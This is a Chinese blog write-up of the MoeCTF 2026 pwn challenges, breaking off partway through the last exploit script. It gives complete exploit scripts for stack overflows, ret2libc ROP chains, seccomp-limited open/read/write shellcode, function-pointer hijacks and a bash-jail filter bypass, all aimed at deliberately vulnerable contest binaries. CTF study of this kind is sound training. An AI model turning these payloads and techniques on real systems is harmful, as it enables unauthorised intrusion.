Featured image of post Moectf_2026

Moectf_2026

2026西电CTF新生赛

[TOC]

前言:第三年了,我也是西电CTF的忠实粉丝,也是基于学校网安俱乐部的招新以及自身技术水平的保持所需,所以每年的这个时间我都会光顾这个平台来练题。

西电 CTF 终端

二进制漏洞与利用

Pwn入门指北

欢迎同学们来到Pwn的世界!MoeCTF2026的Pwn之旅从此开始。

初学Pwn的同学建议阅读附件中的入门指北,其中对环境配置、基础知识介绍以及进阶学习路线和推荐学习资料/网站都有较为详尽的介绍。

同学们在学习入门指北后,在自己电脑上配置好Pwn所需的环境,就可以开始了正式解题了。

入门指北的题目在第二个附件中。本题是一道Pwntools环境的实操题,旨在帮助同学们熟悉Pwntools中本地调试、与远程环境交互、接收内容以及传输payload等基本的操作,不存在漏洞设计。下面是这道题的脚本范例。请根据提示把???和一些需要填写的内容补全,尝试本地调试和远程运行脚本获取flag的过程。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
from pwn import *
context(os="linux", arch="amd64", log_level="debug") #基础配置
# 本地测试时,用这条而把远程交互的注释掉即可
#io = process("./pwn")
# 远程交互,在自己提交时,找到自己的ip和根据wsrx连接后软件给的接口并填写
io = remote("your ip", port) 

io.recvuntil(b"Hello,my friend.Please enter the password to begin") #接收指定字符串停止,从而我们进行下列操作

io.sendline(b"???") #发送密码,密码内容提示:64位下int类型最大值

io.sendafter(b"Input your answer:", b"???\n") #发送secret code,请对IDA对程序进行逆向找到,具体操作方法见附件1

#注:我们这里使用了sendline,sendafter,而实际上还有像send,sendlineafter这样的写法
#为啥前面不用自己写换行而后面的要呢?可以自行了解这些区别,防止以后用混

io.interactive() #开启交互模式

nc打开是一段交互,然后用IDA打开二进制的附件:

根据交互内容:

输入一个密码,这里分析C伪代码得知是2147483647。

接着这里还需要输入一个answer,看到if ( !strcmp(s1, "Welcometomoectf2026pwn\n") )这一段代码得知需要校对字符串“Welcometomoectf2026pwn”,如果是这一串代码输入进去给程序的话就是校对正确,跳下一步的system函数获取flag。

最终拿到flag:

挺详细了,还看不懂你去问豆包吧...。

走后门

据说,只要给的够多就能走后门…是真的吗?

本题ret2text是最基本的攻击方式。结合入门指北给出的实例完成此题吧!

程序分析

题目说是ret2text了,那就来吧。

首先checksec pwn命令查看保护机制:

关闭PIE随机化保护和Stack栈保护。

IDA看了下,直接给了后门函数连地址也是:

backdoor函数地址:0x401209

这是vuln函数,大概就这样子的:

vuln函数

buf 在 rbp-0x40(64 字节),返回地址在 rbp+8 → 偏移 72。

无 canary,非 PIE,有现成 backdoor 0x401209 = system("/bin/sh")。

这里注意的是栈对齐:vuln 的 rbp % 16 == 0,ret 到 backdoor 后 push rbp 使 rsp % 16 == 8,backdoor 内部调 puts 时,glibc 用 movaps 直接 SIGSEGV(当时没回显、连接立刻断就是这原因)。在 backdoor 前插一个 ret,gadget(0x4012c0)把栈顶多弹 8 字节重新对齐。

不然的话你直接写payload = b"A" * offset + p64(backdoor)绝对不通的。

为什么这里要加 ret gadget(0x4012c0)做栈对齐?

根据AMD64 System V ABI 规则,在 x86‑64 Linux 调用约定里:执行 call 指令前,栈指针 rsp 必须是 16 字节对齐(rsp % 16 == 0)。

call 会把返回地址(8 字节)压栈,所以进入被调用函数时,rsp 一定是 0x...8(rsp%16 = 8)。

system() 是 libc 函数,它内部会使用 SSE 指令(movaps),movaps强制要求内存地址 16 字节对齐。

如果 rsp 未 16 字节对齐,movaps访问栈就直接触发 SIGSEGV 段错误,程序直接崩溃,拿不到 shell。

1
2
# 查找单纯 ret; 指令
ROPgadget --binary ./pwn --only "ret"

0x000000000040101a : ret

EXP

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
from pwn import *
context(os="linux", arch="amd64", log_level="debug")
io = remote("127.0.0.1", 9710)

ret      = 0x000000000040101a   # vuln 结尾的 ret gadget,用于栈对齐
backdoor = 0x401209   # system("/bin/sh")
offset   = 72         # buf(rbp-0x40, 64B) + saved rbp(8B)

io.recvuntil(b"So how many do you want to give?")
io.sendline(b"100")   # scanf 的 nbytes,要 > 72

io.recvuntil(b"Now plz give it to me")
payload = b"A" * offset + p64(ret) + p64(backdoor)
io.send(payload)
io.interactive()

Hello-World01

初学pwn的你,一定已经认识了C语言,那想必对Hello-World倒背如流了吧……等等,这个输出函数好像不太正常🤔

程序分析

checksec查看保护机制:

依旧不打开栈溢出保护,这题还是围绕栈溢出漏洞来展开的。

IDA分析:

main函数

main 先出一个 C 填空(答案 puts),答对后 printf("This function seems to be unsafe,right? %p\n", &puts) 泄漏 libc 里 puts 的地址。

vuln函数

对于vuln函数,buf[64] 在 rbp-0x40,read(0, buf, 0xC8) 读 200 字节造成溢出,偏移可知是72。

可以发现二进制文件中是开PIE保护且无 system后门函数的,题目配了 libc.so.6文件,但是泄漏地址会因为PIE保护而随机化,那么可以判断这题是要用ret2libc手法。

用 puts 拿泄漏,libc_base = leak - 0x84420(算出来页对齐,确认远程与本地 libc 一致)

这次用ropper来打,主要是一个个查gadget地址太繁琐了...

ROP 全部用 libc 里的 gadget(不依赖 PIE 地址):

  1. 注意需要用ret(0x22679)去栈对齐
  2. pop rdi; ret→ 传 /bin/sh参数
  3. system

EXP

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
from pwn import *
context(os="linux", arch="amd64", log_level="debug")
io = remote("127.0.0.1", 2538)

libc = ELF("libc.so.6")
puts_off  = libc.symbols["puts"]      # 0x84420
system_off = libc.symbols["system"]   # 0x52290
binsh_off  = next(libc.search(b"/bin/sh"))  # 0x1b45bd
rop = ROP(libc)
pop_rdi_ret = rop.find_gadget(["pop rdi", "ret"]).address  # 0x23b6a
ret_gadget  = rop.find_gadget(["ret"]).address # 0x22679

# 答对 C 填空,拿 puts 泄漏
io.recvuntil(b"Your answer:")
io.recvline()        # 吃掉提示符后的 '\n'
io.sendline(b"puts")
line = io.recvline()    # 'This function seems to be unsafe,right? 0x...'
leak = int(line.strip().split()[-1], 16)
libc_base = leak - puts_off
log.success(f"puts @ {hex(leak)}  libc base @ {hex(libc_base)}")

# vuln 栈溢出 -> 纯 libc ret2libc
io.recvuntil(b"Now show me your real pwn skill:")
offset = 72        # buf(rbp-0x40, 64B) + saved rbp(8B)
payload = b"A" * offset
payload += p64(libc_base + ret_gadget)  # 对齐
payload += p64(libc_base + pop_rdi_ret)
payload += p64(libc_base + binsh_off)
payload += p64(libc_base + system_off)
io.send(payload)

io.sendline(b"cat flag")
print(io.recvrepeat(1).decode(errors="replace"))
io.interactive()

ezpwn

ezpwn 是一组方便你入门的低分题目,出题人也刚刚学 pwn,边学边出了。 有什么建议或者想喷我都可以发🔨。

Shellcode 是一段可以直接交由 CPU 执行的底层机器码。在现代二进制安全中,通常会结合工具(如 pwntools 的 shellcraft)自动生成特定架构和操作系统的 Shellcode。

查看 https://docs.pwntools.com/en/stable/index.html 学习使用 pwntools

程序分析

搞半天原来是通过Web网站去打的...

浏览器打开:

这题用shellcode解的。

生成 shellcode:在 Python 框里用 pwntools shellcraft 生成 amd64 的 execve("/bin/sh");

EXP

1
2
3
from pwn import *
context(arch = 'amd64', os = 'linux', log_level = 'debug')
payload = asm(shellcraft.sh())

点 Run:页面把 payload(必须是 bytes)拿去执行,显示 Payload 48 bytes,状态 Running,Web Shell挂到了 shell 上。

这还有一点绕,ls找不到的,还得搜索一下才能拿到flag:

ezpwn02

hint

https://www.chromium.org/chromium-os/developer-library/reference/linux-constants/syscalls/

https://man7.org/linux/man-pages/man2/syscall.2.html

程序分析

(备注:这个文件名是叫chall的,我改成pwn了。)

这个main函数挺长的:

main函数第一部分

main函数第二部分

粗略分析一下:

  1. 打印 "stage1: max 40 bytes"、badchars、seccomp 规则;
  2. read函数(4字节长度) ,然后要求区间是 1 ≤ len ≤ 40
  3. 函数mmap(0x1000, RWX) 读入 shellcode(≤40 字节,禁字符 00 0a 20 2f 66 6c 61 67,正好是 "/flag"的所有字符);(RWX是权限的代称,代表可读read、可写write、可执行的权限...)
  4. 设 seccomp(只允许 read/write/openat/exit);
  5. buf_2(buf_2) 跳进 shellcode,rdi = RWX 缓冲区地址

看到这里,这题就是沙箱逃逸/沙盒逃逸的题了,靠禁用函数防getshell的,可以利用替代功能的函数去达到getshell的目标。

我猜你肯定没安装这个环境...

1
2
3
4
5
sudo apt install gcc ruby-dev
sudo gem install seccomp-tools

# 自动运行程序,dump出seccomp系统调用过滤规则
seccomp-tools dump ./pwn

利用思路:40 字节内既要避开禁字符又要 openat/read/write 打 flag 不现实,所以分两段

stage1(24B,无禁字符):read(0, buf+0x40, 0x200) 读入任意内容,再 jmp buf+0x40。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
# stage1: read(0, buf+0x40, 0x200) 然后 jmp 到 buf+0x40 (fd=0 必须显式设置)
stage1 = asm("""
    mov r8, rdi
    xor edi, edi
    lea rsi, [r8+0x40]
    xor edx, edx
    mov dh, 2
    xor eax, eax
    syscall
    lea rax, [r8+0x40]
    jmp rax
""")

stage2(64B,无限制):直接写 "/flag" 字符串,openat(AT_FDCWD, "/flag", 0) → read(fd, buf, 0x30)→ read(fd, buf, 0x30) →write(1, buf, 0x30)

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
# stage2: openat("/flag") -> read -> write(1). No badchar limit, runs under seccomp
stage2 = asm("""
    xor eax, eax
    push rax
    mov rax, 0x67616c662f
    push rax
    mov rsi, rsp
    mov edi, 0xffffff9c
    xor edx, edx
    mov eax, 0x101
    syscall
    mov rdi, rax
    mov rsi, rsp
    mov edx, 0x30
    xor eax, eax
    syscall
    mov edx, eax
    mov edi, 1
    mov rsi, rsp
    mov eax, 1
    syscall
""")

原来把 stage2 读到缓冲区起始处,把 stage1 末尾还没执行的 jmp 覆盖了,需要改读到+0x40去避开。

记得fd清零哈,差点忘了,read 用它当 fd 直接 EBADF 返回-1(之前测试没检查返回值被误导),就是先 mov r8, rdi 存指针,xor edi, edi 把 fd 设为 0就好了。

EXP

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
from pwn import *
context(os="linux", arch="amd64", log_level="debug")
io = remote("127.0.0.1", 7527)

# stage1: read(0, buf+0x40, 0x200) 然后 jmp 到 buf+0x40 (fd=0 必须显式设置)
stage1 = asm("""
    mov r8, rdi
    xor edi, edi
    lea rsi, [r8+0x40]
    xor edx, edx
    mov dh, 2
    xor eax, eax
    syscall
    lea rax, [r8+0x40]
    jmp rax
""")

# stage2: openat("/flag") -> read -> write(1). No badchar limit, runs under seccomp
stage2 = asm("""
    xor eax, eax
    push rax
    mov rax, 0x67616c662f
    push rax
    mov rsi, rsp
    mov edi, 0xffffff9c
    xor edx, edx
    mov eax, 0x101
    syscall
    mov rdi, rax
    mov rsi, rsp
    mov edx, 0x30
    xor eax, eax
    syscall
    mov edx, eax
    mov edi, 1
    mov rsi, rsp
    mov eax, 1
    syscall
""")

assert len(stage1) <= 40, len(stage1)
bad = b"\x00\x0a\x20\x2f\x66\x6c\x61\x67"
assert not any(c in bad for c in stage1)

io.recvuntil(b"seccomp: read/write/openat/exit only")
io.send(p32(len(stage1)) + stage1)
io.recvuntil(b"stage1 accepted")
io.send(stage2)
io.interactive()

omg电台出问题了

西电是一所半部电台起家,长征路上办学的根正苗红的传奇院校......那么有人知道怎么修好这电台吗?

程序分析

checksec查看保护机制。

这次居然打开了stack保护,细细斟酌一下是不是要爆破canary还是说是堆漏洞。

IDA打开后不要乱动!!!能省去找函数的麻烦:

main函数

在左边函数名列表可以发现全都被剥夺函数名了,可知这是静态编译造成的,但是IDA一开始是在main上的,直接按F5就行了。就直接是纯正的main函数C伪代码了。

main函数

main 里 memcpy(v7, n0x48_1, len) 可以把最多 0x48 字节拷进 64 字节的 v7,正好覆盖到 rbp-0x10的函数指针,发送 0x48 长度 + 首字节 \x00(让 strlen=0 通过 ≤0x20 检查)+ 63 字节填充 +p_show_status。

这是个典型的"函数指针劫持"。

直接搜 /flag 字符串:

这种后门必然引用 flag 路径,所以用 find_regex 搜 flag。但只有一个是真正的文件路径——0x47e04a:

接着F5看C伪代码:

看到repair_complete (0x40182a),p_show_status() 被劫持后直接 open/read/write 打印 /flag。

repair_complete函数:0x40182A

EXP

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
from pwn import *
context(os="linux", arch="amd64", log_level="debug")
io = remote("127.0.0.1", 9554)

repair_complete = 0x40182a
payload = b"\x00" + b"A" * 63 + p64(repair_complete)
assert len(payload) == 0x48

io.recvuntil(b"Enter repair ciphertext:")
io.send(bytes([0x48]) + payload)
io.interactive()

灯神的愿望

灯神:小明你好,我是灯神,你现在可以向我许1个愿望。

小明:我的愿望是我想再许3个愿望。

灯神:ERROR!不能增加剩余愿望数!

小明:那我的愿望是我想再许-2个愿望。

灯神:好的,你的愿望实现了,你现在可以向我许4294967295个愿望。

……

程序分析

checksec:

IDA分析:

win函数:0x121C

main函数不全放出来了,太长了...

思路(纯逻辑绕过,无溢出):main 里 n0x1BF51(unsigned)初始为 1,选 3 只有当它 > 0x1BF51 才调 win函数,而选 1 可以把它设成任意负数(负数转为 unsigned 是超大值)。

总之:选 1 可以写入一个 int,只要 <= 0 就接受。发送 -1,存进 unsigned 后变成 0xFFFFFFFF → 远大于 0x1BF51,再选 3 直接进 win() 拿到 root shell,cat flag。

这题主要是考代码审计能力。

EXP

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
from pwn import *
context(os="linux", arch="amd64", log_level="debug")
io = remote("127.0.0.1", 9084)

io.recvuntil(b"> ")
io.sendline(b"1")
io.recvuntil(b"How many wishes do you want?")
io.sendline(b"-1")
io.recvuntil(b"> ")
io.sendline(b"3")

io.recvuntil(b"Your endless wishes come true!")
io.sendline(b"cat flag")

斯兰德先生的秘密

斯兰德先生(srand)是一位有名的先知,据说世间没有它不可预测的事物。而他所仰仗的,就是他那名为弗拉格的法器,据说只要念出一段神秘的咒语,法器就会发挥作用,助使用者预测一切、掌控雷电。但是斯兰德先生老了,需要找一名关门大弟子,继承他的法器、获得他的能力,从而造福众生。不过成为斯兰德先生的关门大弟子,得先证明自己有超乎一般人的预言能力。为此,斯兰德先生选定了一批测试者,并设立了三道随机密码门,分别考察预测时间、预测计算结果、预测未知三种能力,能通过这三道门的人,才有机会得到弗拉格的咒语。作为Pwn门高手,你有幸成为了测试者之一,你能用在Pwn门的毕生所学,通过斯兰德先生的考验吗?

提醒:由于题目有预测时间的环节,所以可能会发生本地能打通但是远程打不通的情况,不要轻易自我怀疑,多试几次哦!

程序分析

斯兰德先生(srand)设了三道"随机密码门",考察三种预言能力:预测时间、预测计算结果、预测未知。通过三关后调用 b4ckdo0r() 直接 system("/bin/sh")。

IDA 反编译关键函数:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
int main() {
    init();                                   // 三个 setbuf(stdin/stdout/stderr, 0)
    puts("Do you want to know srand's secret?");
    ...
    v3 = gate1();                             // 返回 seed(time(0))
    v5 = gate2(v3);                           // 返回 lcg^114514(seed)
    gate3(v5);                                // 用 ans2 作种子
    puts("All gates passed!");
    b4ckdo0r();                               // system("/bin/sh")
}

int b4ckdo0r() { return system("/bin/sh"); }

__int64 lcg(int a1) { return (1103515245 * a1 + 12345) & 0x7FFFFFFF; }
  • gate1(预测时间):seed = time(0); srand(seed); v = rand(); 要求输入等于 v。
  • gate2(预测计算):v = seed; for(i=0;i<=114513;i++) v = lcg(v); 要求输入等于 v(共 114514 次迭代)。
  • gate3(预测未知):srand(seed2); r1=rand(); r2=rand(); r3=rand(); 打印 r1、r2,要求预测 r3。

Python 复现(已用 WSL 的 ctypes libc 验证,多组 seed 完全一致):

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
def glibc_random(seed):
    if seed == 0:
        seed = 1
    state = [0] * 31
    state[0] = seed
    word = seed
    for i in range(1, 31):
        hi = word // 127773
        lo = word % 127773
        word = 16807 * lo - 2836 * hi
        if word < 0:
            word += 2147483647
        state[i] = word
    fptr, rptr = 3, 0
    def step():
        nonlocal fptr, rptr
        val = (state[fptr] + state[rptr]) & 0xFFFFFFFF
        res = val >> 1
        state[fptr] = val
        fptr += 1
        if fptr >= 31:
            fptr = 0; rptr += 1
        else:
            rptr += 1
            if rptr >= 31:
                rptr = 0
        return res
    for _ in range(310):
        step()
    return step

gate1 的 seed 是 time(0),本地(Windows)与靶机时钟若有偏差就会算错。

netstat 发现 11353 端口是 wsrx-desktop.exe(WebSocketReflectorX)在监听——这是个 WebSocket 隧道,把本地端口转发到远程 CTF 平台。查看其配置 AppData/Roaming/xdsec/wsrx/config/scopes.toml,远程主机是:host = "https://ctf.xidian.edu.cn"

取远程 HTTP Date 头和本地时钟对比,得到偏移约 +3~4 秒(远程快)。再写脚本实测:把 seed 猜成 now + K,发现 K=+3 稳定成功(6/6),K=2 偶尔成功、K=4 全失败。

于是 gate1 的 seed 取 now + 3 即可稳定通过。题目提示"本地能打通远程打不通,多试几次",本质就是这个时间偏移。

给我坑🤮吐了,这么难!

recv_until(s, b'') 里 b'' in data 恒为 True,循环体一次都不执行、立即返回空——导致 gate3 明明通过了却误判成失败。应读到 system("/bin/sh") 之前的那句 "Here is your bonus:" 为止:

1
2
3
4
s.sendall(b'%d\n' % r3)
data4 = recv_until(s, b'bonus')     # 读到 "Here is your bonus:"
if b'Wow' not in data4:             # "Wow, random number ..." 表示 gate3 通过
    ...

EXP

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
import socket
import time

HOST = '127.0.0.1'
PORT = 11353


def lcg(x):
    return (1103515245 * x + 12345) & 0x7FFFFFFF


def glibc_random(seed):
    if seed == 0:
        seed = 1
    state = [0] * 31
    state[0] = seed
    word = seed
    for i in range(1, 31):
        hi = word // 127773
        lo = word % 127773
        word = 16807 * lo - 2836 * hi
        if word < 0:
            word += 2147483647
        state[i] = word
    fptr, rptr = 3, 0
    def step():
        nonlocal fptr, rptr
        val = (state[fptr] + state[rptr]) & 0xFFFFFFFF
        res = val >> 1
        state[fptr] = val
        fptr += 1
        if fptr >= 31:
            fptr = 0; rptr += 1
        else:
            rptr += 1
            if rptr >= 31:
                rptr = 0
        return res
    for _ in range(310):
        step()
    return step


def solve_once(seed):
    g = glibc_random(seed)
    ans1 = g()                       # gate1

    v = seed                         # gate2: lcg 114514 次
    for _ in range(114514):
        v = lcg(v)
    ans2 = v

    g3 = glibc_random(ans2)          # gate3: 第 3 个 rand()
    r1 = g3(); r2 = g3(); r3 = g3()
    return ans1, ans2, (r1, r2, r3)


def recv_until(s, marker, timeout=10):
    s.settimeout(timeout)
    data = b''
    while marker not in data:
        try:
            chunk = s.recv(4096)
        except socket.timeout:
            break
        if not chunk:
            break
        data += chunk
    return data


def read_for(s, seconds=2):
    s.settimeout(seconds)
    data, end = b'', time.time() + seconds
    while time.time() < end:
        try:
            chunk = s.recv(4096)
        except socket.timeout:
            break
        if not chunk:
            break
        data += chunk
    return data


def attempt():
    s = socket.create_connection((HOST, PORT), timeout=10)
    recv_until(s, b'Password:')
    seed = int(time.time()) + 3      # 远程时钟比本地快约 3~4s
    ans1, ans2, (r1, r2, r3) = solve_once(seed)

    s.sendall(b'%d\n' % ans1)
    if b'beaten' not in recv_until(s, b'Password:'):
        s.close(); return None

    s.sendall(b'%d\n' % ans2)
    if b'Good job' not in recv_until(s, b'Your answer:'):
        s.close(); return None

    s.sendall(b'%d\n' % r3)
    if b'Wow' not in recv_until(s, b'bonus'):
        s.close(); return None
    return s


def main():
    for i in range(30):
        s = attempt()
        if s is None:
            print('attempt %d failed' % i)
            time.sleep(0.05)
            continue
        print('吃饱了!')
        s.sendall(b'cat /flag; cat flag; cat flag.txt; ls -la\n')
        time.sleep(1.0)
        print(read_for(s, 3).decode(errors='replace'))
        s.close()
        break


if __name__ == '__main__':
    main()

百万英镑

我要一张上好的百万英镑支票,一张崭新的百万英镑支票,

加上所有精美的百万英镑支票,再摞上几张百万英镑支票,

另外再来一张刚打印出来的百万英镑支票。

“这得挨不少打,先生。”

程序分析

checksec pwn:

IDA分析:

staff_room函数:0x401394

这个后门函数居然不是system函数,有点意思,这其实是底层版的system函数,你就可以把system函数当成是由execve函数打包封装的一个函数。

main函数

main 里 read_exact(0, v4, 8 * number) 读入 8*number 字节到 103 字节的 v4,而无栈 canary。

关键在 cheque_bytes:参数是 int(32 位截断),返回 (unsigned)(8*a1),而 main 只取低 8 位判断;但真正read_exact 用的长度是 64 位的 8*number。取 number=32 → 低字节 8*32 mod 256 = 0 ≤ 0x60 通过检查,但实际读256 字节,足以覆盖到返回地址。

然后确认好 staff_room 地址。

staff_room 在 0x401394。写 exp:number=32,读 256 字节,120 字节填充到返回地址,再放 staff_room。

staff_room 直接 execve("/bin/sh"),拿到 shell 后 cat /flag。

反正思路大体就是整数截断 + 栈溢出。

EXP

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
from pwn import *
context(os="linux", arch="amd64", log_level="debug")
io = remote("127.0.0.1", 4092)

staff_room = 0x401394
io.recvuntil(b"How many should I prepare? ")
io.sendline(b"32")
io.recvuntil(b"What would you like written, sir? ")
payload = b"A" * 120 + p64(staff_room)
payload = payload.ljust(256, b"B")
io.send(payload)

io.recvuntil(b"Very good, sir.")
io.interactive()

用的还是搜索cat /flag。

注意一下哈,cat flag是出不来的......

onlyshell

外置命令如 ls, grep, cat是独立的二进制文件,内置命令如 cd, echo, alias是shell程序的一部分。使用which可以看出它们的区别。

就算你侥幸获取了我的shell,又该如何得到flag?

程序分析

main函数分析:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
setbuf(stdin, 0);
setbuf(stdout, 0);
alarm(0x78);                       // 120 秒超时

// ---------- 第一段:密码门 ----------
v8 = 0;
*(_DWORD *)s2 = arc4random();      // 4 字节随机数
v6 = 0;
*(_DWORD *)s1 = 0;
v10 = 0;
__printf_chk(2, "password: ");
if (scanf("%u", &v6) != 1) exit(0);
do { getc(stdin); } while (未到换行);   // 清掉行尾
*(_DWORD *)s1 = v6;                // 我的输入 -> 4 字节
if (strcmp(s1, s2)) { puts("wrong"); exit(0); }

// ---------- 第二段:bash jail ----------
puts("only shell builtins here.");
while (1) {
    __printf_chk(2, "$ ");
    if (!fgets(s1, 256, stdin)) break;
    s1[strcspn(s1, "\n")] = 0;
    if (s1[0]) {
        if (strpbrk(s1, "`\\(){}")) puts("bad char");
        else if (strstr(s1, "flag")) puts("bad word");
        else {
            if (fork() == 0) {
                execl("/bin/bash", "bash", "--noprofile", "--norc", "-c", s1, 0);
                _exit(1);
            }
            wait(0);
        }
    }
}

密码门:arc4random + strcmp 空字节绕过

arc4random() 返回一个 32 位随机数,按小端存进 s2[4],后面跟着 v8=0(正好当 \0 结尾)。我的输入 v6(%u 无符号整数)按小端存进 s1[4],后面 v10=0。然后用 strcmp(s1, s2) 比较这两个字符串。

arc4random 是密码学安全的,无法预测;但 strcmp 遇到第一个 \0 字节就停止比较。

  • s2 = [b0, b1, b2, b3, 0],其中 b0 = arc4random() & 0xff。
  • 我输入 0,则 s1 = [0, 0, 0, 0, 0]。

当 arc4random() 的低字节 b0 == 0 时,strcmp 在位置 0 就发现两边都是 \0,判为相等 → 通过。

所以只要输入 0,有 1/256 概率直接过关。用多线程反复连接、发 0 直到成功即可(每连接都是独立进程、独立 arc4random)。

接着通过密码后进入一个 REPL:每行命令经 /bin/bash --noprofile --norc -c <cmd> 执行。

要注意一下,这有我之前遇到的两个坑:

  1. 没有 PATH:进程由 CTF 基础设施以最小环境启动,execve 继承的环境里没有 PATH,所以 cat、ls 都 command not found。提示语 "only shell builtins here." 就是暗示要用 shell 内建命令。
  2. 过滤:命令里不能出现 ` \ ( ) { }(bad char),也不能出现子串 flag(bad word)。

需要绕过,用 bash 内建 read + echo,配合 ? 通配符绕开 "flag" 子串:read x < fla?; echo $x

EXP

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
import socket, time, threading

HOST = '127.0.0.1'
PORT = 1393

stop = threading.Event()
done = threading.Event()


def read_for(s, seconds=2):
    s.settimeout(seconds)
    data, end = b'', time.time() + seconds
    while time.time() < end:
        try:
            c = s.recv(4096)
        except socket.timeout:
            break
        if not c:
            break
        data += c
    return data


def grab_flag(s):
    cmds = [
        b'/bin/ls -la\n',
        b'/bin/cat "fl""ag"\n',
        b'/bin/cat /fla?\n',
        b'read x < fla?; echo $x\n',     # 内建命令读 flag
        b'PATH=/bin:/usr/bin; cat fla?\n',
    ]
    for cmd in cmds:
        s.sendall(cmd)
        time.sleep(0.5)
        out = read_for(s, 2)
        print('[shell] %r => %s' % (cmd, out.decode(errors='replace')))
        if b'moectf{' in out:
            return True
    return False


def worker(wid):
    while not stop.is_set():
        s = None
        try:
            s = socket.create_connection((HOST, PORT), timeout=8)
            s.settimeout(1.5)
            s.sendall(b'0\n')            # 密码固定为 0,赌 arc4random 低字节为 0
            r = b''
            end = time.time() + 2.5
            while time.time() < end:
                try:
                    c = s.recv(4096)
                except socket.timeout:
                    break
                if not c:
                    break
                r += c
                if b'builtins' in r or b'wrong' in r:
                    break
            if b'builtins' in r:
                stop.set()
                print('worker %d PASSED password: %r' % (wid, r))
                grab_flag(s)
                done.set()
                return
            s.close()
        except Exception:
            if s:
                try:
                    s.close()
                except Exception:
                    pass


def main():
    for i in range(32):
        threading.Thread(target=worker, args=(i,), daemon=True).start()
    done.wait(timeout=600)
    print('ok了' if done.is_set() else '超了')


if __name__ == '__main__':
    main()

反正需要注意,strcmp 比较的是字符串:靠 \0 截断,把「不可预测的随机数比较」降级成「1/256 的运气题」,多线程重连即可。

小蜜蜂

某东快递服务站 您的某东快递已到西电长安南校区老综二楼菜鸟驿站内小蜜蜂,请用提货号XXXXXXX取包裹,咨询驿站工作人员。 哎 每次都要按索引一个个找啊....

程序分析

main 里有两个关键栈变量:

1
2
3
void (*p_ordinary_bell)(void);  // [rbp-50h] 函数指针,初始 = ordinary_bell
_QWORD v6[8];                   // [rbp-48h] 8 个货架槽位,存「取件码」
__int64 n7;                     // [rbp-8h]

四个选项:

  1. case 1 show_records(&p_ordinary_bell):打印 duty bell handler: %p(即 *p_ordinary_bell,泄漏函数地址)+ 8 个槽位值。
  2. case 2:读一个下标 n7,if (n7 <= 7) 就 v6[n7] = read_pickup_code()。
  3. case 3:p_ordinary_bell() 调用函数指针。
  4. case 4:退出。

另外还有个从未在菜单里出现的 staff_room():

它就是目标——拿到 shell。

接着继续看,case 2 的边界检查只防了上界:

1
2
3
4
n7 = read_index();              // strtol(s, 0, 10),可返回负数!
if (n7 <= 7) {                  // 不检查 n7 >= 0
    v6[n7] = read_pickup_code();
}

read_index 用 strtol(base 10)解析,负数能通过 n7 <= 7 的检查。

看栈布局(从低地址到高地址):

1
2
3
4
5
rbp-50h : p_ordinary_bell   (8 字节,函数指针)
rbp-48h : v6[0]             (8 字节)
rbp-40h : v6[1]
...
rbp-10h : v6[7]

v6[-1] = v6 基址往前 8 字节 = 正好是 p_ordinary_bell。所以选下标 -1,就把函数指针覆盖成任意 8 字节值。

多的不说了,漏洞利用大致是:

  1. 泄漏 PIE 基址:选 1,读 duty bell handler: 0x... 得到 ordinary_bell 运行时地址。
  2. 算 staff_room 地址:staff_room = ordinary_bell + (0x13a8 - 0x138e) = ordinary_bell + 0x1a。
  3. 覆盖函数指针:选 2 → 下标输入 -1 → 取件码输入 staff_room 地址(read_pickup_code 用 strtoull(s, 0, 0),直接写 0x... 十六进制)。
  4. 触发:选 3 摇铃 → p_ordinary_bell() 实为 staff_room() → execve("/bin/sh")。
  5. 读 flag:execve 传了 envp = NULL,shell 没有 PATH,用内建命令读文件:read x < flag; echo $x

EXP

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
import socket, re, time

HOST = '127.0.0.1'
PORT = 11728
STAFF_ROOM_OFF = 0x13a8 - 0x138e   # 0x1a


def recv_until(s, marker, timeout=10):
    s.settimeout(timeout)
    data = b''
    while marker not in data:
        try:
            c = s.recv(4096)
        except socket.timeout:
            break
        if not c:
            break
        data += c
    return data


def read_for(s, seconds=2):
    s.settimeout(seconds)
    data, end = b'', time.time() + seconds
    while time.time() < end:
        try:
            c = s.recv(4096)
        except socket.timeout:
            break
